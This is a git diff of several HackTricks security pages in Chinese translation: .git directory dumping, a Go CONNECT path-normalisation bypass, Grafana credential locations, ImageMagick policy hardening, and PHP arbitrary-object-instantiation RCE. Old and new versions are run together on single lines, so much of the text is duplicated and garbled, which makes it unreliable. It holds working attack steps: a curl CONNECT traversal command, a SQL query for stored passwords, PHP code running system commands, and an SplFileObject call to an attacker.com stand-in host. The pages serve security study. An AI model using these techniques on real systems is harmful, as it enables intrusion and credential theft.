如果在Web应用程序中找到_.git_目录您可以使用_wget -r http://web.com/.git._下载所有内容。然后您可以使用_git diff_查看所做的更改。 如果在 Web 应用程序中发现 _.git_ 目录,可以使用 _wget -r http://web.com/.git_ 下载所有内容。然后,您可以使用 _git diff_ 查看所做的更改。
工具:[Git-Money](https://github.com/dnoiz1/git-money)[DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage)和[GitTools](https://github.com/internetwache/GitTools)可用于检索git目录的内容。 工具:[Git-Money](https://github.com/dnoiz1/git-money)[DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) [GitTools](https://github.com/internetwache/GitTools) 可用于检索 git 目录的内容。
工具[https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder)可用于搜索提交消息中的CVE和安全漏洞消息。 工具 [https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder) 可用于搜索提交消息中的 CVE 和安全漏洞消息。
工具[https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)可搜索组织及其员工存储库中的敏感数据。 工具 [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) 在组织及其员工的代码库中搜索敏感数据。
[Repo安全扫描器](https://github.com/UKHomeOffice/repo-security-scanner)是一个基于命令行的工具,旨在帮助您发现开发人员通过推送敏感数据而意外制作的GitHub秘密。与其他工具一样,它将帮助您找到密码、私钥、用户名、令牌等信息 [Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner) 是一个基于命令行的工具,旨在帮助您发现开发人员意外推送的 GitHub 秘密数据。与其他工具一样,它将帮助您找到密码、私钥、用户名、令牌等。
[TruffleHog](https://github.com/dxa4481/truffleHog)在GitHub存储库中搜索并查看提交历史和分支寻找意外提交的秘密信息 [TruffleHog](https://github.com/dxa4481/truffleHog) 在 GitHub 仓库中搜索并深入挖掘提交历史和分支,寻找意外提交的秘密。
在这里您可以找到有关GitHub dorks的研究[https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks) 在这里您可以找到关于 github dorks 的研究:[https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,27 +1,28 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## CONNECT方法 ## CONNECT 方法
在Go编程语言中处理HTTP请求时的常见做法,特别是使用`net/http`库时,是将请求路径自动转换为标准格式。这个过程包括: Go 编程语言中,处理 HTTP 请求时,特别是使用 `net/http` 库时,一个常见的做法是将请求路径自动转换为标准格式。这个过程包括:
- 以斜杠`/`)结尾的路径,如`/flag/`,会被重定向到它们的非斜杠对应路径,即`/flag` - 以斜杠 (`/`) 结尾的路径,如 `/flag/` 被重定向到其无斜杠的对应路径 `/flag`
- 包含目录遍历序列的路径,如`/../flag`,会被简化并重定向到`/flag` - 包含目录遍历序列的路径,如 `/../flag` 被简化并重定向到 `/flag`
- 以句点结尾的路径,如`/flag/.`,也会被重定向到干净的路径`/flag` - 以句点结尾的路径,如 `/flag/.` 也被重定向到干净的路径 `/flag`
然而,在使用`CONNECT`方法时存在一个例外。与其他HTTP方法不同`CONNECT`不会触发路径规范化过程。这种行为为访问受保护资源打开了一个潜在的途径。通过在`curl`中使用`--path-as-is`选项,结合`CONNECT`方法,可以绕过标准路径规范化,潜在地访问受限区域。 然而,使用 `CONNECT` 方法时观察到一个例外。与其他 HTTP 方法不同,`CONNECT` 不会触发路径规范化过程。这种行为为访问受保护资源打开了潜在的途径。通过在 `curl` 中使用 `CONNECT` 方法和 `--path-as-is` 选项,可以绕过标准路径规范化,可能到达受限区域。
以下命令演示了如何利用这种行为: 以下命令演示了如何利用这种行为:
```bash ```bash
@ -31,16 +32,17 @@ curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,39 +1,41 @@
# Grafana # Grafana
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 有趣的内容 ## 有趣的内容
* 文件**`/etc/grafana/grafana.ini`**可能包含诸如**管理员** **用户名**和**密码**等敏感信息。 * 文件 **`/etc/grafana/grafana.ini`** 可能包含敏感信息,例如 **管理员** **用户名** 和 **密码。**
* 在平台内,您可以**邀请人员**或**生成API密钥**(可能需要管理员权限) * 在平台内,您可以 **邀请人员** **生成 API 密钥**(可能需要管理员权限)
* 您可以检查已安装的插件(甚至安装新插件 * 您可以检查已安装的插件(甚至可以安装新的
* 默认情况下,它使用**SQLite3**数据库位于**`/var/lib/grafana/grafana.db`** * 默认情况下,它使用 **`/var/lib/grafana/grafana.db`** 中的 **SQLite3** 数据库
* `select user,password,database from data_source;` * `select user,password,database from data_source;`
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# ImageMagick安全性 # ImageMagick 安全性
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
在[**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)中查看更多详细信息。 查看更多详细信息请访问 [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
ImageMagick是一个多功能的图像处理库由于其广泛的选项和缺乏详细的在线文档配置其安全策略是一个挑战。用户通常基于碎片化的互联网来源创建策略导致潜在的配置错误。该库支持超过100种图像格式每种格式都增加了其复杂性和易受攻击的概况正如历史安全事件所证明的那样 ImageMagick 是一个多功能的图像处理库,由于其广泛的选项和缺乏详细的在线文档,配置其安全策略面临挑战。用户通常基于零散的互联网来源创建策略,这可能导致潜在的错误配置。该库支持超过 100 种图像格式,每种格式都增加了其复杂性和脆弱性,历史安全事件证明了这一点
## 朝着更安全的策略迈进 ## 朝着更安全的
为了解决这些挑战,[开发了一个工具](https://imagemagick-secevaluator.doyensec.com/)来帮助设计和审计ImageMagick的安全策略。该工具根植于广泛的研究旨在确保策略不仅健壮而且没有可以被利用的漏洞。 为了解决这些挑战,已经开发了一个 [工具](https://imagemagick-secevaluator.doyensec.com/) 来帮助设计和审计 ImageMagick 的安全政策。该工具基于广泛的研究,旨在确保政策不仅稳健,而且没有可能被利用的漏洞。
## 白名单与黑名单方法 ## 允许列表与拒绝列表方法
历史上ImageMagick的策略依赖于黑名单方法其中特定的编码器被拒绝访问。然而在ImageMagick 6.9.7-7中的变化改变了这一范式实现了白名单方法。这种方法首先拒绝所有编码器的访问然后有选择性地授予受信任的编码器访问权限增强了安全性 历史上ImageMagick 政策依赖于拒绝列表方法其中特定的编码器被拒绝访问。然而ImageMagick 6.9.7-7 的变化改变了这一范式,使允许列表方法成为可能。该方法首先拒绝所有编码器,然后选择性地授予可信编码器访问权限,从而增强了安全态势
```xml ```xml
... ...
<policy domain="coder" rights="none" pattern="*" /> <policy domain="coder" rights="none" pattern="*" />
@ -30,20 +31,37 @@ ImageMagick是一个多功能的图像处理库由于其广泛的选项和缺
... ...
``` ```
## 策略中的大小写敏感性 ## 策略中的大小写敏感性
值得注意的是ImageMagick 中的策略模式是大小写敏感的。因此,确保策略中的编码器和模块被正确地大写是至关重要的,以防止意外的权限问题 需要注意的是ImageMagick中的策略模式是区分大小写的。因此确保在策略中正确使用大写字母的编码和模块对于防止意外权限至关重要
## 资源限制 ## 资源限制
如果未正确配置ImageMagick 容易受到拒绝服务攻击的影响。在策略中设置明确的资源限制是防止此类漏洞的关键 如果未正确配置ImageMagick容易受到拒绝服务攻击。在策略中设置明确的资源限制对于防止此类漏洞至关重要
## 策略碎片化 ## 策略碎片化
策略可能会分散在不同的 ImageMagick 安装中,导致潜在的冲突或覆盖。建议使用诸如以下命令来定位和验证活动策略文件: 策略可能在不同的ImageMagick安装中碎片化导致潜在的冲突或覆盖。建议使用以下命令定位并验证活动的策略文件:
```shell ```shell
$ find / -iname policy.xml $ find / -iname policy.xml
``` ```
## 一个入门级、限制性策略 ## 一个入门的限制性政策
已提出一个限制性策略模板,侧重于严格的资源限制和访问控制。该模板可作为制定符合特定应用需求的定制策略的基准 一个限制性政策模板已被提出,专注于严格的资源限制和访问控制。该模板作为开发与特定应用需求相一致的定制政策的基础
可以使用`identify -list policy`命令在ImageMagick中确认安全策略的有效性。此外之前提到的[评估工具](https://imagemagick-secevaluator.doyensec.com/)可根据个人需求调整策略 可以使用 `identify -list policy` 命令在 ImageMagick 中确认安全政策的有效性。此外,前面提到的 [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) 可用于根据个人需求优化政策
## 参考资料 ## 参考文献
* [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) * [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# PHP - 利用对象创建滥用RCE: new $\_GET\["a"]\($\_GET\["b"]) # PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
这基本上是[https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)的摘要 这基本上是[https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 的总结
## ## 介
创建新的任意对象,例如`new $_GET["a"]($_GET["a"])`可能导致远程代码执行RCE详细信息请参阅[**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)。本文档突出了实现RCE的各种策略。 创建新的任意对象,例如 `new $_GET["a"]($_GET["a"])`,可能导致远程代码执行 (RCE),详细信息见 [**写作**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)。本文档强调了实现 RCE 的各种策略。
## 通过自定义类或自动加载实现RCE ## 通过自定义类或自动加载实现 RCE
语法`new $a($b)`用于实例化一个对象,其中**`$a`**表类名,**`$b`**是传递给构造函数的第一个参数。这些变量可以来自用户输入,如GET/POST其中它们可能是字符串或数组或来自JSON其中它们可能呈现为其他类型。 语法 `new $a($b)` 用于实例化一个对象,其中 **`$a`**表类名,**`$b`** 是传递给构造函数的第一个参数。这些变量可以来自用户输入,如 GET/POST它们可以是字符串或数组或来自 JSON它们可能呈现为其他类型。
考虑下面的代码片段: 考虑下面的代码片段:
```php ```php
@ -43,9 +44,9 @@ $b = $_GET['b'];
new $a($b); new $a($b);
``` ```
在这个例子中,将`$a`设置为`App`或`App2`,将`$b`设置为系统命令(例如`uname -a`)会导致该命令被执行。 在这种情况下,将 `$a` 设置为 `App``App2`,并将 `$b` 设置为系统命令(例如,`uname -a`)会导致该命令的执行。
如果没有直接访问这些类,**自动加载函数**就可以被利用。这些函数在需要时会自动从文件中加载类,并且是使用`spl_autoload_register`或`__autoload`来定义的 **自动加载函数** 可以被利用,如果没有这样的类可以直接访问。这些函数在需要时会自动从文件加载类,并使用 `spl_autoload_register``__autoload` 定义
```php ```php
spl_autoload_register(function ($class_name) { spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php'; include './../classes/' . $class_name . '.php';
@ -57,60 +58,65 @@ include $class_name . '.php';
spl_autoload_register(); spl_autoload_register();
``` ```
## 通过内置类实现RCE autoloading的行为因PHP版本而异提供不同的RCE可能性。
缺乏自定义类或自动加载程序时,**内置PHP类**可能足以实现RCE。这些类的数量在100到200之间不等取决于PHP版本和扩展。可以使用`get_declared_classes()`列出它们。 ## 通过内置类进行RCE
可以通过反射API识别感兴趣的构造函数如下例和链接[https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)所示 在缺乏自定义类或自动加载器的情况下,**内置PHP类**可能足以实现RCE。这些类的数量根据PHP版本和扩展的不同而在100到200之间。可以使用`get_declared_classes()`列出它们
**通过特定方法实现RCE包括** 可以通过反射API识别感兴趣的构造函数如以下示例和链接所示 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)。
**通过特定方法进行RCE包括**
### **SSRF + Phar反序列化** ### **SSRF + Phar反序列化**
`SplFileObject`类通过其构造函数实现SSRF允许连接到任何URL `SplFileObject`类通过其构造函数启用SSRF允许连接到任何URL
```php ```php
new SplFileObject('http://attacker.com/'); new SplFileObject('http://attacker.com/');
``` ```
### **利用PDOs** SSRF 可以导致在 PHP 8.0 之前的版本中使用 Phar 协议的反序列化攻击。
PDO类构造函数允许通过DSN字符串连接到数据库可能会启用文件创建或其他交互 ### **利用 PDOs**
PDO 类构造函数允许通过 DSN 字符串连接到数据库,可能会启用文件创建或其他交互:
```php ```php
new PDO("sqlite:/tmp/test.txt") new PDO("sqlite:/tmp/test.txt")
``` ```
### **SoapClient/SimpleXMLElement XXE** ### **SoapClient/SimpleXMLElement XXE**
PHP版本在5.3.22和5.4.12及以下存在对`SoapClient`和`SimpleXMLElement`构造函数的XXE攻击漏洞取决于libxml2的版本。 PHP 版本高达 5.3.22 和 5.4.12 易受通过 `SoapClient``SimpleXMLElement` 构造函数的 XXE 攻击,具体取决于 libxml2 的版本。
## 通过Imagick扩展实现RCE ## RCE via Imagick Extension
分析**项目的依赖关系**时,发现可以通过实例化新对象来利用**Imagick**执行**命令执行**。这为利用漏洞提供了机会。 **项目依赖** 的分析中,发现 **Imagick** 可以通过实例化新对象来实现 **命令执行**。这为利用漏洞提供了机会。
### VID解析器 ### VID parser
发现VID解析器具有将内容写入文件系统中任意指定路径的能力。这可能导致在可通过web访问的目录中放置PHP shell从而实现远程代码执行RCE 识别到 VID 解析器具有将内容写入文件系统中任何指定路径的能力。这可能导致在可通过网络访问的目录中放置 PHP shell从而实现远程代码执行 (RCE)
#### VID解析器 + 文件上传 #### VID Parser + File Upload
注意到PHP会将上传的文件临时存储在`/tmp/phpXXXXXX`中。Imagick中的VID解析器利用**msl**协议,可以处理文件路径中的通配符,从而促进将临时文件传输到所选位置。这种方法提供了另一种实现文件系统内任意文件写入的途径。 注意到 PHP 会将上传的文件临时存储在 `/tmp/phpXXXXXX` 中。Imagick 中的 VID 解析器利用 **msl** 协议,可以处理文件路径中的通配符,便于将临时文件转移到选定位置。这种方法提供了在文件系统内实现任意文件写入的额外途径。
### PHP崩溃 + 暴力破解 ### PHP Crash + Brute Force
[**原始文档**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)中描述了一种方法涉及上传触发服务器崩溃的文件。通过对临时文件名进行暴力破解Imagick可以执行任意PHP代码。然而这种技术只在过时版本的ImageMagick中有效。 [**原始写作**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 中描述的方法涉及上传触发服务器崩溃的文件然后再删除。通过暴力破解临时文件的名称Imagick 可以执行任意 PHP 代码。然而,发现这种技术仅在过时的 ImageMagick 版本中有效。
## 参考资料 ## References
